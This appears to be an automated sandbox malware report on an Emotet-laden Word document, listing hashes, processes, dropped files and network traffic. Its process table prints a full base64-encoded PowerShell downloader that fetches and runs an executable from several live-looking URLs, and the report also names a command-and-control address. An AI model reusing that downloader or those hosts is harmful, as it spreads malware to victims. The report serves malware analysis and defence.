File name: | 5e8f6209624956790542bde067c5d3e327db6c5c.doc.tar.gz |
Full analysis: | https://app.any.run/tasks/6aa89aed-31b0-452c-beca-1d01e6726cfa |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | March 21, 2019, 17:40:00 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/zip |
File info: | Zip archive data, at least v2.0 to extract |
MD5: | 2DCA7B66088C73BD215678A3C592C01F |
SHA1: | 20FA5A1A8F1B62C36BAE6C981E814A49624A4B41 |
SHA256: | 38EA32C9C120CD9350A9639AB579B9617D86A32510751C1E83FD080167325361 |
SSDEEP: | 1536:b7UzgOjv9JEZ3S4FkorVtJIRzs1h5e+EOTA6BFou86hgJ8zd4wLM34:bRtS4SyEzIh5znLoF8R4wLo4 |
.zip | | | ZIP compressed archive (100) |
---|
ZipRequiredVersion: | 20 |
---|---|
ZipBitFlag: | 0x0801 |
ZipCompression: | Deflated |
ZipModifyDate: | 2019:03:21 12:14:04 |
ZipCRC: | 0xd3e290dd |
ZipCompressedSize: | 77528 |
ZipUncompressedSize: | 155904 |
ZipFileName: | 5e8f6209624956790542bde067c5d3e327db6c5c |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
1476 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\5e8f6209624956790542bde067c5d3e327db6c5c.doc.tar.gz.zip" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe |
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Version: 5.60.0 | ||||
2148 | "C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\admin\Desktop\5e8f6209624956790542bde067c5d3e327db6c5c | C:\Windows\system32\rundll32.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
4056 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\5e8f6209624956790542bde067c5d3e327db6c5c" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | rundll32.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
2044 | powershell -e JABLAHcAdwBBAEEAMQA0AEcAPQAoACcASQBCACcAKwAnAEIAVQBBAEEAMQAxACcAKQA7ACQAWABvAFUAUQBBAFEAYwA9AC4AKAAnAG4AJwArACcAZQB3AC0AbwBiACcAKwAnAGoAZQAnACsAJwBjAHQAJwApACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAQQBYAFUAWABCAEEAPQAoACcAaAB0AHQAcAA6ACcAKwAnAC8ALwBhAHYAbwBjACcAKwAnAGEAdABzAC0AZQB0ACcAKwAnAHIAYQBuAGcAZQByAHMALgBjAG8AJwArACcAbQAvAHcAcAAtACcAKwAnAGEAJwArACcAZAAnACsAJwBtAGkAbgAnACsAJwAvADAAcwBtAC8AQABoAHQAdAAnACsAJwBwADoALwAvAGEAcgB0AGUAJwArACcAYwBhAHUAdAAnACsAJwBvAG0AYQB0ACcAKwAnAGUAbgAnACsAJwAuACcAKwAnAGMAbwBtACcAKwAnAC8AdwBwAC0AYwBvAG4AdAAnACsAJwBlACcAKwAnAG4AdAAvACcAKwAnADIAJwArACcANwA1AFcAdwBhAC8AQABoACcAKwAnAHQAdABwACcAKwAnADoALwAvAHQAaQB0ACcAKwAnAGEAbgAnACsAJwBpAHUAbQB0AHYALgBjAGwAdQBiAC8AdwBwAC0AYwBvAG4AdABlACcAKwAnAG4AdAAvAEEAMwAxAGsAOQBPACcAKwAnAC8AQABoAHQAdABwADoAJwArACcALwAvAGUAeQAnACsAJwBuAG8AJwArACcAcgBkAGkAYwAuAGMAbwAnACsAJwBtAC8AYwAnACsAJwBnAGkALQBiACcAKwAnAGkAbgAvAEwAJwArACcAagAvAEAAaAB0ACcAKwAnAHQAcAA6ACcAKwAnAC8AJwArACcALwB0AGUAcwAnACsAJwB0AC4AbwAnACsAJwByAGQAJwArACcALgAnACsAJwBuAHUAJwArACcAdQBjAGwAJwArACcAbwB1AGQALgBjAG8AbQAvAGEAdwBzAHQAYQB0AHMAJwArACcALQBpAGMAbwAnACsAJwBuAC8AcwAnACsAJwBYACcAKwAnAEEAJwArACcAUAB5AC8AJwApAC4AKAAnAFMAJwArACcAcABsAGkAdAAnACkALgBJAG4AdgBvAGsAZQAoACcAQAAnACkAOwAkAEsAQQA0AHgAQQBDAFUAPQAoACcAWQA0AF8AJwArACcAdwBCAEEAJwApADsAJAB3AEEAQQBVAEEAMQB4ACAAPQAgACgAJwA1ACcAKwAnADgAMwAnACkAOwAkAG4AUQB3AEEANABjAD0AKAAnAFUAQQBEACcAKwAnAEEAJwArACcAQQBjAEEAYwAnACkAOwAkAEkAWgBHAEIAQgBBAEEAQQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAdwBBAEEAVQBBADEAeAArACgAJwAuACcAKwAnAGUAeABlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAGEAWABvAFoANABBACAAaQBuACAAJABBAFgAVQBYAEIAQQApAHsAdAByAHkAewAkAFgAbwBVAFEAQQBRAGMALgAoACcARABvACcAKwAnAHcAbgBsAG8AYQBkAEYAaQBsACcAKwAnAGUAJwApAC4ASQBuAHYAbwBrAGUAKAAkAGEAWABvAFoANABBACwAIAAkAEkAWgBHAEIAQgBBAEEAQQApADsAJABmAHcARABjADQAWAA9ACgAJwBNAFUAJwArACcANABjADQAQQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQASQBaAEcAQgBCAEEAQQBBACkALgAiAGwAZQBgAE4ARwBgAFQASAAiACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsALgAoACcASQBuAHYAbwAnACsAJwBrAGUALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQASQBaAEcAQgBCAEEAQQBBADsAJABiAHcAQQBBAEEAQQA9ACgAJwBjAFEAQQBEAHgAJwArACcANABYACcAKQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJABoAGMAVQBrAFEAQwA9ACgAJwBjACcAKwAnAEEAMQBrAFUAQQBBACcAKQA7AA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2636 | "C:\Users\admin\583.exe" | C:\Users\admin\583.exe | — | powershell.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Dism Image Servicing Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3932 | --5568bf2e | C:\Users\admin\583.exe | 583.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Dism Image Servicing Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2804 | "C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe" | C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe | 583.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Dism Image Servicing Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2132 | --9bc43e78 | C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe | wabmetagen.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Dism Image Servicing Utility Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
1476 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRb1476.2655\5e8f6209624956790542bde067c5d3e327db6c5c | — | |
MD5:— | SHA256:— | |||
4056 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRCCAD.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2044 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\577I6QQBK6V7ZSA15BW2.temp | — | |
MD5:— | SHA256:— | |||
4056 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:28CCBFC41BE7B8BFD6D51D0B5F5B1E18 | SHA256:26B48AA6693519E923AB64BBE00B2B7F10447A2292B169EF20D444C54A537808 | |||
4056 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\5e8f6209624956790542bde067c5d3e327db6c5c.LNK | lnk | |
MD5:FB8290E316CC358567D0708DA2694395 | SHA256:8AB7FEF0516B40999E5525DEC6A0F3D027576646C3C0AE4D817F0A0B2EB0E83E | |||
2044 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFfd940.TMP | binary | |
MD5:7100C9D54A32DFE02751A9E1BC41F804 | SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C | |||
2044 | powershell.exe | C:\Users\admin\583.exe | executable | |
MD5:9312D55848F5B165A2938DEE213E063C | SHA256:D0E5D8429713B5A3FB6291483C5796F0DD1A60AD0C3813041CA99F06438FCBBE | |||
4056 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:7671C0DD620D4458E2932B38893F0311 | SHA256:58545239DE8812370B637D5D9F4183FFD6116BC3B8AD88E24F86992F998F2776 | |||
2044 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:7100C9D54A32DFE02751A9E1BC41F804 | SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C | |||
4056 | WINWORD.EXE | C:\Users\admin\Desktop\~$8f6209624956790542bde067c5d3e327db6c5c | pgc | |
MD5:AA8B4C3E8C7FCFD0F871FC2E2E0FAF3B | SHA256:44B5346EE1E6DBC6AE139ABB7D86676BB83C62772A2F299496342CB7FD6C473E |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
2132 | wabmetagen.exe | POST | 200 | 200.116.26.234:80 | http://200.116.26.234/usbccid/ | CO | binary | 132 b | malicious |
2044 | powershell.exe | GET | 200 | 163.172.199.28:80 | http://avocats-etrangers.com/wp-admin/0sm/ | FR | executable | 187 Kb | suspicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2044 | powershell.exe | 163.172.199.28:80 | avocats-etrangers.com | Online S.a.s. | FR | suspicious |
2132 | wabmetagen.exe | 200.116.26.234:80 | — | EPM Telecomunicaciones S.A. E.S.P. | CO | malicious |
Domain | IP | Reputation |
---|---|---|
avocats-etrangers.com |
| suspicious |
PID | Process | Class | Message |
---|---|---|---|
2044 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2044 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
2044 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |